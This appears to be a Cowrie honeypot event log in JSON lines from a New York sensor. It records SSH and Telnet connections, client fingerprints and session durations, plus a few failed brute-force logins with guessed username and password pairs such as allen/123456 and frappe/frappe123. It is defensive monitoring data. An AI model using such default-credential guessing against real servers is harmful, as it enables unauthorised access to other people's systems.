{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45820,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fbcb0f2c8e4","protocol":"ssh","message":"New connection: 159.203.92.129:45820 (159.203.135.109:22) [session: 4fbcb0f2c8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.356401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.360891Z","src_ip":"159.203.92.129","session":"4fbcb0f2c8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.367656Z","src_ip":"159.203.92.129","session":"4fbcb0f2c8e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"123456","message":"login attempt [allen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.377758Z","src_ip":"159.203.92.129","session":"4fbcb0f2c8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.896873474121094,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.415952Z","src_ip":"159.203.13.64","session":"a362cd1368d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":40892,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e6aa2539251","protocol":"telnet","message":"New connection: 159.203.13.64:40892 (10.17.0.5:23) [session: 3e6aa2539251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.635435Z"}
{"eventid":"cowrie.session.closed","duration":47.516305685043335,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:04.860358Z","src_ip":"159.203.13.64","session":"94a4b0fa41b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:05.384196Z","src_ip":"159.203.92.129","session":"4fbcb0f2c8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.60230207443237,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:05.706604Z","src_ip":"80.252.221.197","session":"87d2007363a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50392174720764,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:10.775532Z","src_ip":"80.252.221.197","session":"6e8daf3630ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44270,"dst_ip":"10.17.0.5","dst_port":23,"session":"0395adc53310","protocol":"telnet","message":"New connection: 159.203.13.64:44270 (10.17.0.5:23) [session: 0395adc53310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:11.515568Z"}
{"eventid":"cowrie.session.closed","duration":31.427021503448486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:12.275649Z","src_ip":"159.203.13.64","session":"b3c36bf5f053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44282,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f2616d38d40","protocol":"telnet","message":"New connection: 159.203.13.64:44282 (10.17.0.5:23) [session: 8f2616d38d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:13.493029Z"}
{"eventid":"cowrie.session.closed","duration":42.69851994514465,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:15.993292Z","src_ip":"159.203.13.64","session":"659cedd588b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.77161502838135,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:16.458205Z","src_ip":"159.203.13.64","session":"2b0273502635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44294,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd2cc27ef85","protocol":"telnet","message":"New connection: 159.203.13.64:44294 (10.17.0.5:23) [session: 9fd2cc27ef85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:16.902077Z"}
{"eventid":"cowrie.session.closed","duration":35.72405123710632,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:17.406620Z","src_ip":"159.203.13.64","session":"af64815c9c13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44306,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f46aac2b33c","protocol":"telnet","message":"New connection: 159.203.13.64:44306 (10.17.0.5:23) [session: 9f46aac2b33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:17.526790Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44314,"dst_ip":"10.17.0.5","dst_port":23,"session":"99271b50ffd2","protocol":"telnet","message":"New connection: 159.203.13.64:44314 (10.17.0.5:23) [session: 99271b50ffd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:18.365866Z"}
{"eventid":"cowrie.session.closed","duration":35.9917151927948,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:20.002205Z","src_ip":"159.203.13.64","session":"f14fb336e3aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.68501138687134,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:20.747535Z","src_ip":"159.203.13.64","session":"cb4bff5bbac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.61739945411682,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:21.065045Z","src_ip":"159.203.13.64","session":"54c5d5f8fe43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38218,"dst_ip":"10.17.0.5","dst_port":23,"session":"0748a27f5a30","protocol":"telnet","message":"New connection: 159.203.13.64:38218 (10.17.0.5:23) [session: 0748a27f5a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:21.081284Z"}
{"eventid":"cowrie.session.closed","duration":40.354156732559204,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:21.821605Z","src_ip":"159.203.13.64","session":"fb9b6e2bd7ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38230,"dst_ip":"10.17.0.5","dst_port":23,"session":"9904bfdf1401","protocol":"telnet","message":"New connection: 159.203.13.64:38230 (10.17.0.5:23) [session: 9904bfdf1401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:21.986922Z"}
{"eventid":"cowrie.session.closed","duration":41.41981816291809,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:23.773195Z","src_ip":"159.203.13.64","session":"00cb735929cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38234,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c987ff6db7f","protocol":"telnet","message":"New connection: 159.203.13.64:38234 (10.17.0.5:23) [session: 2c987ff6db7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:23.836531Z"}
{"eventid":"cowrie.session.closed","duration":6.916688442230225,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:25.282421Z","src_ip":"159.203.13.64","session":"99271b50ffd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.04463863372803,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:26.548845Z","src_ip":"159.203.13.64","session":"b4462e780b0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.12425351142883,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:26.621316Z","src_ip":"159.203.13.64","session":"8246e1582850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.0463786125183105,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:27.127539Z","src_ip":"159.203.13.64","session":"0748a27f5a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38240,"dst_ip":"10.17.0.5","dst_port":23,"session":"015effe2b426","protocol":"telnet","message":"New connection: 159.203.13.64:38240 (10.17.0.5:23) [session: 015effe2b426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:28.029513Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38252,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b82027da581","protocol":"telnet","message":"New connection: 159.203.13.64:38252 (10.17.0.5:23) [session: 8b82027da581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:29.296083Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":58844,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0ceda9d42ae","protocol":"ssh","message":"New connection: 186.13.24.118:58844 (159.203.135.109:22) [session: c0ceda9d42ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:31.020086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:31.025165Z","src_ip":"186.13.24.118","session":"c0ceda9d42ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:31.182780Z","src_ip":"186.13.24.118","session":"c0ceda9d42ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:31.841727Z","src_ip":"186.13.24.118","session":"c0ceda9d42ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.97153353691101,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:32.970217Z","src_ip":"159.203.13.64","session":"e18b1f7aa91b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:33.000542Z","src_ip":"186.13.24.118","session":"c0ceda9d42ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.72295069694519,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:33.544459Z","src_ip":"159.203.13.64","session":"e55789d0c622","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":42052,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c4375ae656e","protocol":"telnet","message":"New connection: 159.203.13.64:42052 (10.17.0.5:23) [session: 2c4375ae656e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:34.533396Z"}
{"eventid":"cowrie.session.closed","duration":43.39536094665527,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:37.704947Z","src_ip":"159.203.13.64","session":"6adf63ae36e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":42062,"dst_ip":"10.17.0.5","dst_port":23,"session":"11ba3b82be1e","protocol":"telnet","message":"New connection: 159.203.13.64:42062 (10.17.0.5:23) [session: 11ba3b82be1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:38.668614Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43116,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a6ece56568","protocol":"telnet","message":"New connection: 159.203.13.64:43116 (10.17.0.5:23) [session: 82a6ece56568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:41.654501Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43118,"dst_ip":"10.17.0.5","dst_port":23,"session":"5390aa28d41f","protocol":"telnet","message":"New connection: 159.203.13.64:43118 (10.17.0.5:23) [session: 5390aa28d41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:44.531578Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59918,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c2d57df6394","protocol":"ssh","message":"New connection: 159.203.92.129:59918 (159.203.135.109:22) [session: 4c2d57df6394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:47.064359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:47.067952Z","src_ip":"159.203.92.129","session":"4c2d57df6394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:47.071667Z","src_ip":"159.203.92.129","session":"4c2d57df6394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allen","password":"allen","message":"login attempt [allen/allen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:47.079520Z","src_ip":"159.203.92.129","session":"4c2d57df6394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.10680842399597,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:47.197100Z","src_ip":"159.203.13.64","session":"823f73eee8ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.6315336227417,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:47.266834Z","src_ip":"159.203.13.64","session":"3e6aa2539251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:48.085171Z","src_ip":"159.203.92.129","session":"4c2d57df6394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.084694147109985,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:50.137940Z","src_ip":"159.203.13.64","session":"aa7e0573a80b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.489808797836304,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:51.005273Z","src_ip":"159.203.13.64","session":"0395adc53310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.927494525909424,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:54.420421Z","src_ip":"159.203.13.64","session":"8f2616d38d40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57078,"dst_ip":"10.17.0.5","dst_port":23,"session":"2929ada764f6","protocol":"telnet","message":"New connection: 159.203.13.64:57078 (10.17.0.5:23) [session: 2929ada764f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:55.436521Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57086,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5df5b61a47","protocol":"telnet","message":"New connection: 159.203.13.64:57086 (10.17.0.5:23) [session: be5df5b61a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:55.848361Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47304,"dst_ip":"159.203.135.109","dst_port":23,"session":"21ec678ca9b7","protocol":"telnet","message":"New connection: 80.252.221.197:47304 (159.203.135.109:23) [session: 21ec678ca9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:56.725541Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47316,"dst_ip":"159.203.135.109","dst_port":23,"session":"12beb4f170a2","protocol":"telnet","message":"New connection: 80.252.221.197:47316 (159.203.135.109:23) [session: 12beb4f170a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:56.787680Z"}
{"eventid":"cowrie.session.closed","duration":40.0581328868866,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:56.960111Z","src_ip":"159.203.13.64","session":"9fd2cc27ef85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57098,"dst_ip":"10.17.0.5","dst_port":23,"session":"b08488e61f7a","protocol":"telnet","message":"New connection: 159.203.13.64:57098 (10.17.0.5:23) [session: b08488e61f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:56.972214Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47330,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ce37f9c48d0","protocol":"telnet","message":"New connection: 80.252.221.197:47330 (159.203.135.109:23) [session: 7ce37f9c48d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:57.021417Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47340,"dst_ip":"159.203.135.109","dst_port":23,"session":"5599793a25d3","protocol":"telnet","message":"New connection: 80.252.221.197:47340 (159.203.135.109:23) [session: 5599793a25d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:57.131470Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":47344,"dst_ip":"159.203.135.109","dst_port":23,"session":"588d5d0e0c4e","protocol":"telnet","message":"New connection: 80.252.221.197:47344 (159.203.135.109:23) [session: 588d5d0e0c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:53:57.158035Z"}
{"eventid":"cowrie.session.closed","duration":42.64868497848511,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:54:00.175400Z","src_ip":"159.203.13.64","session":"9f46aac2b33c","protocol":"telnet"}
